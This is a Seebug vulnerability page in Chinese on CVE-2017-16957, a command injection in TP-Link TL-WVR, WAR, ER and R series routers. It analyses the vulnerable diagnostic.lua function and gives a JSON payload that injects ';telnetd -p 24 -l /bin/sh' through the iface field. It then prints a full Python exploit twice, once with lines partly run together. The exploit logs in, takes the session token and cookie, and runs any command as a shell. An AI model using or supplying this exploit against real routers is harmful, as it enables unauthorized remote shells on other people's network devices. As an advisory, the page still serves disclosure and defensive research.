Lucene search

K
seebugRootSSV:97075
HistoryJan 11, 2018 - 12:00 a.m.

TP-Link 路由器命令注入漏洞(CVE-2017-16957)

2018-01-1100:00:00
Root
www.seebug.org
432

0.002 Low

EPSS

Percentile

55.8%

0x01 背景

TP-Link TL-WVR 等都是中国普联(TP-LINK)公司的无线路由器产品。

多款 TP-Link 系列产品存在命令注入漏洞,攻击者在登录后可发送恶意字段,经拼接后导致任意命令执行。

该漏洞由 coincoin7 发现,漏洞编号 CVE-2017-16957

0x02 受影响产品

TP-LINK TL-WVR 系列
TP-LINK TL-WAR 系列
TP-LINK TL-ER 系列
TP-LINK TL-R 系列

0x03 漏洞分析

根据原文提供的链接,下载了 TL-WVR450L 的固件,使用 binwalk 解包,拿到 squashfs 系统文件,再用 squashfs-tools 将文件提取出来

下面是原作者提供的漏洞信息
受影响组件:uhttpd
漏洞文件:/usr/lib/lua/luci/controller/admin/diagnostic.lua
漏洞函数:zone_get_effect_devices(t)

89 行将传递的参数没有经过任何检查过滤,直接拼接到 cmd,通过 io.popen 进行命令执行。
找到当前文件调用 zone_get_effect_devices 的 ping_action 函数

这里将传递的 http_form 进行 json 解析,将 json 参数 params.iface 传入函数 zone_get_effect_devices。

继续往上找到调用 ping_action 的 start_action 函数

继续往上找调用 start_action

根据上面需要填写的信息,POST 请求 [省略]/admin/diagnostic?form=diag,构造 json 编码的 data 数据


{
   "method": "start",
   "params": {
       "type": "0",
       "type_hidden": "0",
       "ipaddr_ping": "baidu.com",
       "iface_ping": "WAN1",
       "ipaddr": "baidu.com",
       "iface": ";telnetd -p 24 -l /bin/sh",
       "count": "1",
       "pktsize": "64",
       "my_result": "The Router is ready.\r\n"
   }
}

在 Web 认证登录后,发送构造好的恶意 Payload,执行命令 telnetd -p 24 -l /bin/sh,就会打开路由器的 telnet 功能。

漏洞利用脚本 exp.py

# Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.jsimport execjsimport requestsimport jsonimport urllibdef read_js():    file = open("./RSA_Encryption_For_Tplink.js", 'r')
   line = file.readline()
   js = ''
   while line:
       js = js + line
       line = file.readline()    file.close()    return jsdef execute(ip, port, username, passwd, cmd):

   try:
       s = requests.session()


       uri = "http://{}:{}".format(ip,port)
       headers = {            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',            'Referer': 'http://{}/webpages/login.html'.format(ip)
           }
       payload = {            "method":"get"
       }
       ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
       rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
       rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
       js = read_js()
       js_handle = execjs.compile(js)        password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)


       payload = {            "method":"login",            "params":{                "username":"{}".format(username),                "password":"{}".format(password)
           }
       }
       ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
       stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
       cookie = ret.headers['Set-Cookie']


       print '[+] Login success'
       print '[+] Get The Token: ' + stok
       print '[+] Get The Cookie: ' + cookie


       headers = {            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',            'Referer':'http://{}/webpages/login.html'.format(ip),            'Cookie':'{}'.format(cookie)
           }
       payload = {            "method":"start",            "params":{                "type":"0",                "type_hidden":"0",                "ipaddr_ping":"127.0.0.1",                "iface_ping":"WAN1",                "ipaddr":"127.0.0.1",                "iface":";{}".format(cmd),                "count":"1",                "pktsize":"64",                "my_result":"exploit"
           }
       }
       ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)


       #print ret.text
       print '[+] Finish RCE'
       print '--------------------------------------------------------------'
       return True

   except:        return Falseif __name__=='__main__':
   print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
   print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')

exp 需要下载 RSA_Encryption_For_Tplink.js 才能使用

0x04 参考链接

https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/TplinkDiagnosticAuthenticatedRCE.txt

0x05 后语

通过挖掘发现,存在命令注入的不止 diagnostic.lua 一处,全局搜索 io.popen,你们懂的。感兴趣的同学可以去找下。


                                                # Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.jsimport execjsimport requestsimport jsonimport urllibdef read_js():    file = open("./RSA_Encryption_For_Tplink.js", 'r')
   line = file.readline()
   js = ''
   while line:
       js = js + line
       line = file.readline()    file.close()    return jsdef execute(ip, port, username, passwd, cmd):

   try:
       s = requests.session()


       uri = "http://{}:{}".format(ip,port)
       headers = {            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',            'Referer': 'http://{}/webpages/login.html'.format(ip)
           }
       payload = {            "method":"get"
       }
       ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
       rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
       rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
       js = read_js()
       js_handle = execjs.compile(js)        password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)


       payload = {            "method":"login",            "params":{                "username":"{}".format(username),                "password":"{}".format(password)
           }
       }
       ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
       stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
       cookie = ret.headers['Set-Cookie']


       print '[+] Login success'
       print '[+] Get The Token: ' + stok
       print '[+] Get The Cookie: ' + cookie


       headers = {            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',            'Referer':'http://{}/webpages/login.html'.format(ip),            'Cookie':'{}'.format(cookie)
           }
       payload = {            "method":"start",            "params":{                "type":"0",                "type_hidden":"0",                "ipaddr_ping":"127.0.0.1",                "iface_ping":"WAN1",                "ipaddr":"127.0.0.1",                "iface":";{}".format(cmd),                "count":"1",                "pktsize":"64",                "my_result":"exploit"
           }
       }
       ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/diagnostic?form=diag'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)


       #print ret.text
       print '[+] Finish RCE'
       print '--------------------------------------------------------------'
       return True

   except:        return Falseif __name__=='__main__':
   print '-----------Tplink LUCI diagnostic Authenticated RCE-----------'
   print execute('192.168.1.1', 80, 'admin', 'admin', 'telnetd -p 24 -l /bin/sh')
                              

0.002 Low

EPSS

Percentile

55.8%

Related for SSV:97075